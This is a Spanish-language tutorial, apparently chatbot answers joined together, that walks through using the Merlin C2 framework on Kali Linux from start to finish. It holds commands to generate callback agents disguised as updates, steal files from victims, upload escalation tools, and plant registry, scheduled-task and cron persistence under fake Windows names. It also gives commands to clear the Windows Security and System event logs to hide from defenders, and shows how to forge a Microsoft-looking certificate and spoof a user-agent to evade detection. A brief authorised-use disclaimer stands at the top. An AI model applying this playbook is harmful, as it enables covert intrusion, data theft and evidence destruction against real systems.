Merlin C2 en Kali Linux
Merlin C2 en Kali Linux
Si estás buscando información sobre Merlin en Kali Linux, es probable que te refieras al Merlin C2 (Command & Control), un framework de post-explotación muy potente escrito en Go.
Aquí tienes un resumen rápido de qué es y cómo empezar a usarlo en español:
¿Qué es Merlin C2?
Merlin es un servidor de Mando y Control que utiliza el protocolo HTTP/2 para las comunicaciones. Su principal ventaja es que el tráfico HTTP/2 a menudo pasa desapercibido por las herramientas de inspección de red tradicionales, ya que las peticiones se combinan en un solo flujo cifrado.
Características principales:
Comunicación Segura: Utiliza cifrado robusto para los datos que viajan entre el "agente" (la víctima) y el "servidor" (tú).
Evasión: Al usar HTTP/2, puede evadir algunos firewalls y sistemas de detección de intrusos (IDS).
Multiplataforma: Los agentes pueden ejecutarse en Windows, Linux y macOS.
Cómo instalarlo en Kali Linux
Aunque Merlin no siempre viene preinstalado de forma nativa como nmap o metasploit, instalarlo es sencillo. Generalmente se hace clonando su repositorio o descargando el binario:
Instalar dependencias: Asegúrate de tener Go instalado (
sudo apt install golang).Descargar: Puedes bajar las "Releases" directamente desde su GitHub oficial.
Ejecutar el Servidor:
Bashsudo ./merlinServer-linux-amd64
Conceptos Básicos para usarlo
Para que Merlin funcione, necesitas manejar tres componentes:
| Componente | Descripción |
| Server | El panel de control donde recibes las conexiones. |
| Listener | El puerto y protocolo que "escucha" la llegada de agentes. |
| Agent | El archivo ejecutable que corre en la máquina objetivo. |
Flujo de trabajo típico:
Inicias el Server.
Configuras un Listener (ej. HTTP/2 en el puerto 443).
Generas un Agent configurado con tu dirección IP.
Una vez que el agente se ejecuta en el objetivo, aparecerá una sesión activa en tu consola de Merlin.
Nota de seguridad: Recuerda que estas herramientas deben usarse exclusivamente en entornos controlados, laboratorios de aprendizaje o auditorías de seguridad con autorización previa. El acceso no autorizado a sistemas es ilegal.
Vamos a ensuciarnos las manos (en el buen sentido) con la configuración.
Para que Merlin funcione, lo primero que necesitas es un Listener. Piensa en él como la "oreja" que se queda esperando a que el agente (la víctima) lo llame por teléfono.
Aquí tienes los pasos exactos para configurar tu primer Listener HTTP/2:
1. Iniciar el Servidor
Primero, abre tu terminal en la carpeta donde tengas el ejecutable de Merlin y lánzalo:
sudo ./merlinServer-linux-amd64
Verás que el prompt cambia a algo como Merlin ».
2. Configurar el Listener
Dentro de la consola de Merlin, escribe los siguientes comandos en orden:
Entrar al menú de listeners:
use listenerVer las opciones disponibles:
showEstablecer la IP de tu Kali (tu IP local o pública):
set Interface 192.168.1.XX(Cambia esto por tu IP real)Establecer el puerto (el 443 es ideal para simular tráfico web seguro):
set Port 443Iniciar el listener:
run
Tip Pro: Si usas el puerto 443, asegúrate de que no haya otro servicio (como Apache o Nginx) ocupándolo, o Merlin dará error al arrancar.
3. Generar el Agente (El "Payload")
Ahora que la oreja está escuchando, necesitamos crear el archivo que se ejecutará en la otra máquina.
Escribe
mainpara volver al menú principal.Usa el comando
agento genera uno directamente desde la terminal de Kali (fuera de Merlin) usandomerlin-agent.
Ejemplo para generar un agente de Windows desde Merlin:
generate windows amd64 https://TU_IP:443
Resumen de comandos útiles
| Comando | Acción |
listeners | Muestra los listeners activos. |
sessions | Lista las máquinas que ya has infectado/conectado. |
interact [ID] | Toma el control de una sesión específica. |
help | El salvavidas cuando no sabes qué sigue. |
Generar el agente (el ejecutable que enviarás al objetivo) es el paso crucial. En Merlin, esto se hace mediante el comando generate.
Lo más importante aquí es la Arquitectura (32 o 64 bits) y el Protocolo que configuraste en tu Listener.
1. Generar Agente para Windows (.exe)
Windows es el objetivo más común. Merlin permite crear ejecutables que se comunican por HTTP/2 de forma nativa.
Desde la consola de Merlin:
Merlin » generate windows amd64 https://TU_IP_KALI:443
windows: El sistema operativo.
amd64: Arquitectura de 64 bits (usa
386si el sistema es muy antiguo de 32 bits).https://...: La dirección de tu Listener.
2. Generar Agente para Linux
Si tu objetivo es un servidor o una estación de trabajo Linux, el proceso es idéntico pero cambiando el sistema operativo.
Desde la consola de Merlin:
Merlin » generate linux amd64 https://TU_IP_KALI:443
¿Dónde queda el archivo generado?
Por defecto, Merlin guarda estos archivos en una carpeta llamada data/temp/ dentro del directorio donde tienes instalado Merlin.
Para sacarlo de ahí y enviarlo:
Abre una nueva terminal en Kali.
Ve a la carpeta:
cd /ruta/a/merlin/data/temp/Verás archivos con nombres largos y aleatorios. Puedes renombrarlos:
mv archivo_raro.exe actualizacion.exe
Tabla de Arquitecturas Comunes
Si no estás seguro de qué poner después del sistema operativo, usa esta guía:
| Sistema Objetivo | Comando de Arquitectura |
| Windows Moderno (64 bits) | amd64 |
| Windows Antiguo (32 bits) | 386 |
| Servidor Linux / Ubuntu | amd64 |
| Raspberry Pi / ARM | arm o arm64 |
Un detalle importante: La Evasión
Los agentes generados por defecto pueden ser detectados por antivirus modernos (Windows Defender, por ejemplo). Merlin es excelente en la red, pero el archivo en sí mismo a veces necesita "cariño".
Tip: Si el agente no conecta, prueba a usar herramientas de ofuscación externas o utiliza la función de Merlin para generar el agente como una DLL en lugar de un
.exe(usandowindows dllen el comando).
Aquí es donde Merlin se vuelve realmente interesante. Una vez que el agente se ejecuta en la máquina víctima, el servidor te notificará con un mensaje de "Agent [ID] connected".
A partir de ese momento, la sesión está abierta y lista para que tomes el control. Sigue estos pasos:
1. Ver tus sesiones activas
Lo primero es saber quién se ha conectado y qué número de identificación (ID) tiene.
En la consola de Merlin, escribe:
sessions
Verás una tabla con el ID, la IP, el Usuario y el Hostname de la víctima.
2. Entrar en la sesión (Interacción)
Para empezar a enviar comandos a una máquina específica, usa el comando interact seguido del ID (por ejemplo, el 1):
interact 1
El prompt cambiará a algo como Merlin[Agent 1] ».
3. Comandos esenciales de post-explotación
Una vez dentro del agente, tienes un arsenal de herramientas. Aquí los más útiles:
| Comando | Función |
info | Muestra detalles profundos del sistema (SO, privilegios, arquitectura). |
shell | Ejecuta un comando directamente en el CMD (Windows) o Terminal (Linux) de la víctima. |
download | Descarga un archivo de la víctima a tu Kali. |
upload | Sube una herramienta o script desde tu Kali a la víctima. |
sleep | Cambia el tiempo que el agente espera para volver a contactarte (útil para evadir detección). |
kill | Cierra la conexión y elimina el proceso del agente en la víctima. |
4. Ejemplo práctico: Ejecutar un comando remoto
Si quieres saber quién es el usuario actual en la máquina víctima (suponiendo que es Windows):
Merlin[Agent 1] » shell whoami
Verás la respuesta después de unos segundos (dependiendo del tiempo de "sleep" que tenga configurado el agente).
5. Cómo salir de la sesión sin cerrarla
Si quieres volver al menú principal para atender a otro agente o crear un nuevo listener sin matar la conexión actual, simplemente escribe:
main
La sesión seguirá activa en segundo plano y podrás volver a ella con interact cuando quieras.
Un detalle vital: El "Check-in" (Sleep)
Por defecto, los agentes de Merlin no están conectados permanentemente (para no levantar sospechas). "Duermen" y despiertan cada ciertos segundos para preguntar si tienes órdenes.
Si quieres rapidez:
set sleep 1s(Respuesta casi instantánea, pero más ruidoso para el antivirus/firewall).Si quieres sigilo:
set sleep 30so más.
Tip: Antes de hacer nada pesado, usa el comando
info. Si ves que no eres SYSTEM o Administrator en Windows, tu siguiente paso debería ser intentar una Escalada de Privilegios.
Mover archivos es una de las tareas más comunes en una auditoría. En Merlin, esto se hace mediante los comandos upload (subir de tu Kali a la víctima) y download (bajar de la víctima a tu Kali).
Para que esto funcione, primero debes estar interactuando con una sesión activa (interact [ID]).
1. Subir archivos (De Kali → Víctima)
Imagina que tienes un script de enumeración o una herramienta de escalada de privilegios en tu carpeta de descargas en Kali y quieres llevarla a la máquina Windows de la víctima.
Sintaxis:
upload /ruta/en/kali/archivo.exe C:\Windows\Temp\nombre_destino.exe
Ejemplo práctico:
Si quieres subir un archivo llamado winPEAS.exe que tienes en tu carpeta personal:
Merlin[Agent 1] » upload /home/kali/herramientas/winPEAS.exe C:\Users\Public\Documents\run.exe
Tip de Seguridad: Siempre intenta subir archivos a carpetas "amigables" o temporales como
C:\Windows\Temp\oC:\Users\Public\, ya que suelen tener menos restricciones de escritura.
2. Descargar archivos (De Víctima → Kali)
Si encuentras un archivo de configuración, una base de datos o un documento interesante en la máquina objetivo, querrás traerlo a tu equipo para analizarlo.
Sintaxis:
download C:\Ruta\Victima\archivo_interesante.txt /home/kali/donde_guardarlo.txt
Ejemplo práctico:
Para robar el archivo de configuración de una aplicación:
Merlin[Agent 1] » download C:\inetpub\wwwroot\web.config /home/kali/evidencia/web.config
3. ¿Dónde terminan los archivos descargados?
Si ejecutas download sin especificar una ruta de destino en Kali, Merlin suele guardar los archivos en su propia estructura de carpetas:
Busca en la carpeta de instalación de Merlin, bajo la ruta:
data/agents/[ID_DEL_AGENTE]/downloads/.
Consejos de Oro para mover archivos:
Cuidado con el tamaño: Merlin usa HTTP/2, que es eficiente, pero si intentas bajar un archivo de 2GB, la conexión podría volverse inestable o el agente podría ser detectado por el alto tráfico.
El factor "Sleep": Recuerda que Merlin no es instantáneo. Si tienes el
sleepconfigurado en 30 segundos, la transferencia no empezará hasta que el agente "despierte" y reciba la orden.Recomendación: Baja el sleep a
set sleep 1santes de empezar la transferencia y súbelo al terminar.
Rutas de Linux: Si la víctima es Linux, recuerda usar barras diagonales (
/tmp/archivo) en lugar de las invertidas de Windows (C:\temp\).
¿Qué sigue ahora?
Ya sabes moverte por el sistema y transferir archivos. El siguiente paso lógico en un Pentest real sería la Escalada de Privilegios (pasar de ser un usuario común a ser Administrador o ROOT).
Para escalar privilegios, el objetivo es dejar de ser un usuario limitado y convertirte en SYSTEM (en Windows) o root (en Linux). Merlin facilita esto permitiéndote ejecutar comandos de enumeración que buscan "puertas traseras" naturales del sistema.
Aquí tienes cómo empezar a buscar esas debilidades desde tu sesión de Merlin:
1. Enumeración Automática (El primer paso)
Antes de lanzar exploits locos, necesitas saber dónde estás parado. Ejecuta estos comandos dentro de la interacción con el agente (interact [ID]):
info: Te dirá si el proceso del agente es de 32 o 64 bits y si tienes privilegios administrativos (fíjate en el campo IsAdmin).shell whoami /priv(Solo Windows): Te muestra qué permisos especiales tienes. Si vesSeImpersonatePrivilegehabilitado, estás a un paso de ser SYSTEM usando herramientas como PrintSpoofer.shell net localgroup administrators: Para ver quiénes son los jefes en esa máquina.
2. Buscando "Vectores" de Escalada
La forma más eficiente es subir un script especializado que analice todo el sistema por ti.
En Windows (usando winPEAS):
Descarga
winPEASany.exeen tu Kali.Súbelo a la víctima:
upload /home/kali/winPEASany.exe C:\Windows\Temp\wp.exeEjecútalo:
shell C:\Windows\Temp\wp.exe¿Qué buscar? WinPEAS usa colores. Lo que veas en ROJO/AMARILLO es casi seguro una vía para ser Administrador (contraseñas en archivos, servicios mal configurados, etc.).
En Linux (usando LinPEAS):
Sube el script:
upload /home/kali/linpeas.sh /tmp/lp.shDale permisos:
shell chmod +x /tmp/lp.shEjecútalo:
shell /tmp/lp.sh
3. Escalada mediante Procesos (Migración)
A veces, no necesitas un exploit, sino "saltar" a un proceso que ya tenga más poder que el tuyo. Merlin te permite listar procesos:
ps: Lista todos los procesos activos.Si ves un proceso que corre como Administrator y tienes los permisos suficientes, podrías intentar inyectar tu agente ahí (aunque esto requiere comandos de shell más avanzados o scripts de PowerShell).
4. El comando "Invoke" (PowerShell)
Si estás en Windows, Merlin puede ejecutar scripts de PowerShell directamente en memoria, lo cual es muy difícil de detectar para los antivirus:
run powershell "Get-Service | Where-Object {$_.Status -eq 'Running'}"
Esto te sirve para buscar servicios con rutas no entrecomilladas (Unquoted Service Paths), que es un fallo clásico de Windows para escalar privilegios.
Resumen de la estrategia:
Enumerar: Usa
whoami /ally scripts comoPEAS.Analizar: Busca servicios mal configurados o parches de seguridad faltantes (Kernel exploits).
Ejecutar: Sube el exploit específico y ejecútalo con
shell.
Advertencia: Intentar escalar privilegios mediante exploits del Kernel (fallos del sistema operativo) puede causar un "Pantallazo Azul" (BSOD) si algo sale mal. ¡Ten cuidado en sistemas de producción!
La persistencia es el "seguro de vida" de un hacker ético o auditor. Sin ella, si el usuario apaga su computadora o reinicia el sistema, pierdes el acceso y tendrías que volver a engañarlo para que ejecute el agente.
En Windows, hay docenas de formas de lograr esto, pero aquí tienes las dos más comunes y efectivas usando Merlin:
1. Persistencia mediante el Registro (Run Key)
Es el método clásico. Consiste en decirle a Windows que cada vez que un usuario inicie sesión, ejecute tu agente.
Pasos desde la interacción con el agente:
Mueve tu agente a una carpeta permanente (no lo dejes en
DownloadsoTempsi puedes evitarlo).shell move C:\Windows\Temp\agente.exe C:\Users\Public\Music\win_update.exeCrea la entrada en el registro:
Bashshell reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\Music\win_update.exe" /f
Cada vez que ese usuario entre a su PC, tu Listener de Merlin recibirá una nueva conexión automáticamente.
2. Persistencia mediante Tareas Programadas (Scheduled Tasks)
Este método es más profesional porque permite que el agente se ejecute incluso si nadie ha iniciado sesión, o que se reactive cada cierto tiempo (por ejemplo, cada hora).
Comando para crear una tarea que se ejecute al iniciar el sistema:
shell schtasks /create /tn "SvcUpdate" /tr "C:\Users\Public\Music\win_update.exe" /sc onlogon /rl highest
/tn: Nombre de la tarea (pon algo que parezca del sistema)./tr: Ruta del ejecutable./sc onlogon: Se ejecuta al iniciar sesión./rl highest: Intenta ejecutarlo con los máximos privilegios posibles.
3. Persistencia en Linux (Cronjobs)
Si tu víctima es Linux, la persistencia más sencilla es usar el "Crontab" (el programador de tareas de Linux).
Sube tu agente a
/usr/local/bin/o un sitio discreto.Añade una línea al cron:
Bashshell (crontab -l ; echo "@reboot /usr/local/bin/agente_linux &") | crontab -Esto hará que el agente se lance automáticamente cada vez que el servidor se reinicie.
Resumen de Seguridad y Ética
| Método | Nivel de Detección | Dificultad |
| Registro (Run) | Medio (Los antivirus lo vigilan mucho) | Muy fácil |
| Tareas Programadas | Bajo (Parece mantenimiento normal) | Fácil |
| Servicios de Windows | Muy Bajo (El "Santo Grial" de la persistencia) | Difícil (Requiere ser Admin) |
Un consejo vital: Limpieza (Cleanup)
Como buen auditor, una vez que termines tus pruebas, debes borrar la persistencia. Si dejas una tarea programada o una llave de registro, habrás dejado una vulnerabilidad real en el equipo del cliente.
Para borrar la tarea:
shell schtasks /delete /tn "SvcUpdate" /f
La limpieza (o anti-forense) es la fase final de cualquier auditoría profesional. Si dejas archivos, logs o entradas de registro, no solo eres "ruidoso", sino que dejas la puerta abierta para que otros atacantes reales aprovechen tus herramientas.
Aquí tienes cómo borrar tus huellas en Kali Linux / Merlin antes de retirarte:
1. Eliminar la Persistencia
Lo primero es deshacer los cambios que hicimos para que el agente no se vuelva a conectar.
En Windows (Registro):
shell reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /fEn Windows (Tareas Programadas):
shell schtasks /delete /tn "SvcUpdate" /fEn Linux (Cron):
shell crontab -r(Ojo: esto borra todos los cronjobs del usuario, úsalo con cuidado).
2. Borrar los Archivos Subidos
Debes eliminar los ejecutables, scripts y herramientas que moviste a la máquina víctima.
Comando Merlin:
shell del C:\Users\Public\Music\win_update.exe(Windows)shell rm /tmp/lp.sh(Linux)
3. Limpiar los Logs de Eventos (Solo Windows)
Windows registra casi todo lo que haces en el Event Viewer. Si tienes privilegios de Administrador, puedes limpiar estos registros para que el equipo de defensa (Blue Team) no vea tus comandos.
Comando rápido para borrar los logs principales:
shell wevtutil cl Setup
shell wevtutil cl System
shell wevtutil cl Security
shell wevtutil cl Application
4. El comando "Kill" y Auto-destrucción
Una vez que hayas limpiado el registro y los archivos, es hora de cerrar la conexión del agente de forma elegante.
kill: Este comando dentro de la sesión de Merlin le dice al agente que termine su proceso y se cierre. Es mejor que simplemente cerrar la terminal de Kali, ya que cierra el proceso de forma limpia en la víctima.
Resumen del proceso de salida (Checklist)
Mover los archivos descargados a una zona segura en tu Kali.
Borrar las tareas programadas o llaves de registro.
Eliminar los binarios (
.exe,.sh,.dll) de la víctima.Limpiar los logs si tienes permisos de Admin.
Ejecutar
killpara terminar la sesión.
Reflexión final sobre Merlin
Has pasado de instalar un servidor C2 a configurar listeners, generar agentes, escalar privilegios, mover archivos y persistir. Merlin es una herramienta increíble por su uso de HTTP/2, lo que la hace muy difícil de detectar a nivel de red comparada con Metasploit.
Para que tu servidor de Merlin sea verdaderamente profesional y seguro, no puedes usar los certificados que vienen "de fábrica". Si usas los predeterminados, un analista de seguridad (Blue Team) podría identificar tu tráfico fácilmente porque el certificado diría algo como "Merlin C2 Default".
Vamos a ver cómo generar tus propios certificados TLS/SSL para cifrar la comunicación entre el agente y tu servidor.
1. Generar tus propios Certificados (OpenSSL)
En tu terminal de Kali (fuera de Merlin), puedes crear una clave privada y un certificado que duren, por ejemplo, un año.
Ejecuta este comando:
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes
-nodes: Para que no te pida contraseña cada vez que el servidor arranque.
Consejo: Cuando te pregunte el "Common Name (CN)", pon algo que parezca legítimo, como
www.microsoft-updates.como la IP de tu servidor.
2. Configurar Merlin para usar tus Certificados
Una vez que tengas los archivos server.key y server.crt, debes decirle a Merlin que los use en lugar de los suyos.
Inicia el servidor:
sudo ./merlinServer-linux-amd64Ve al menú del listener:
use listenerConfigura las rutas de tus nuevos archivos:
Bashset CertFile /ruta/a/tu/server.crt set KeyFile /ruta/a/tu/server.keyLanza el listener:
run
Ahora, cualquier comunicación entre el agente y tú viajará cifrada con tu propia clave, lo que impide que alguien intercepte y lea los comandos.
3. Cambiar el "User-Agent" (Camuflaje de tráfico)
Por defecto, Merlin se identifica en la red con un nombre específico. Para que tu tráfico parezca navegación web normal (como Chrome o Firefox), cambia el User-Agent.
Dentro del listener:
set UserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
Con esto, si un administrador de red mira el tráfico, verá lo que parece ser un usuario normal navegando en Google Chrome.
4. Asegurar el acceso al Servidor Merlin
Si estás corriendo Merlin en un VPS (servidor en la nube), cualquier persona que encuentre tu IP podría intentar conectarse a tu panel de control.
Usa un Firewall (UFW): Permite solo el puerto del listener (ej. 443) y tu propia IP para SSH.
Cambia el puerto del servidor: Si Merlin usa un puerto para su interfaz de control, asegúrate de que no sea el estándar.
Resumen de Seguridad del C2
| Acción | Beneficio |
| Certificados Propios | Evita firmas de detección por defecto y cifra el tráfico. |
| User-Agent Real | Camufla el tráfico como navegación web legítima. |
| HTTP/2 | Mezcla tus comandos con otros flujos de datos, dificultando la inspección. |
¡Felicidades! Has completado un recorrido completo por el ciclo de vida de un C2 con Merlin. Desde la instalación y el compromiso inicial hasta la persistencia, la limpieza y el endurecimiento del servidor.